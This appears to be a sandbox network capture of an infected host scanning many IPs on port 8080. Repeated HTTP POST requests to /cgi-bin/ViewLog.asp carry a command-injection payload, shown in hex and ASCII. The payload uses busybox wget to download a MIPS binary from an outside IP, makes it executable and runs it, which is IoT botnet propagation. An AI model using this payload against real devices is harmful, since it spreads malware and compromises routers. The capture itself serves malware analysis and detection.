                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:30Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                623192.168.2.1534730157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:37.805476904 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:30Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                624192.168.2.154511094.72.105.1858080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:37.875390053 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:38.968673944 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.248631954 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:42.872565985 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.992427111 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.236143112 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                625192.168.2.1534748157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.117599964 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:31Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                626192.168.2.155471285.31.225.1548080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.223382950 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:38.374521017 CET552INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:38 GMT
                                                Server: Apache/2.4.41 (Ubuntu)
                                                Content-Length: 304
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                627192.168.2.155457662.34.72.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.256274939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.340599060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                628192.168.2.153802285.115.215.1338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.277955055 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:38.489579916 CET377INHTTP/1.0 404 Not Found
                                                Date: Mon, 05 Jan 1970 23:04:59 GMT
                                                Server: Caddy v0.11.1
                                                Connection: close
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                629192.168.2.154747695.125.185.1288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.321038008 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                630192.168.2.1534756157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.430146933 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:31Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                631192.168.2.154413685.11.75.1358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.551162958 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:38.794065952 CET399INHTTP/1.0 302 Redirect
                                                Date: Thu, 23 Nov 2023 04:22:38 GMT
                                                Server: Boa/0.94.14rc21
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Location: http://192.168.0.14:80/login.htm
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 52 65 64 69 72 65 63 74 3c 2f 48 31 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 6c 6f 67 69 6e 2e 68 74 6d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD></HEAD><BODY><H1>302 Redirect</H1>The document has moved<A HREF="login.htm">here</A>.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                632192.168.2.153566294.122.86.768080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.551369905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                633192.168.2.155010294.120.145.1258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.551450014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                634192.168.2.154221831.200.112.1688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.553715944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                635192.168.2.155785494.110.71.2398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.748641014 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                636192.168.2.155893831.136.107.1818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:38.748842955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:39.352657080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.568732977 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
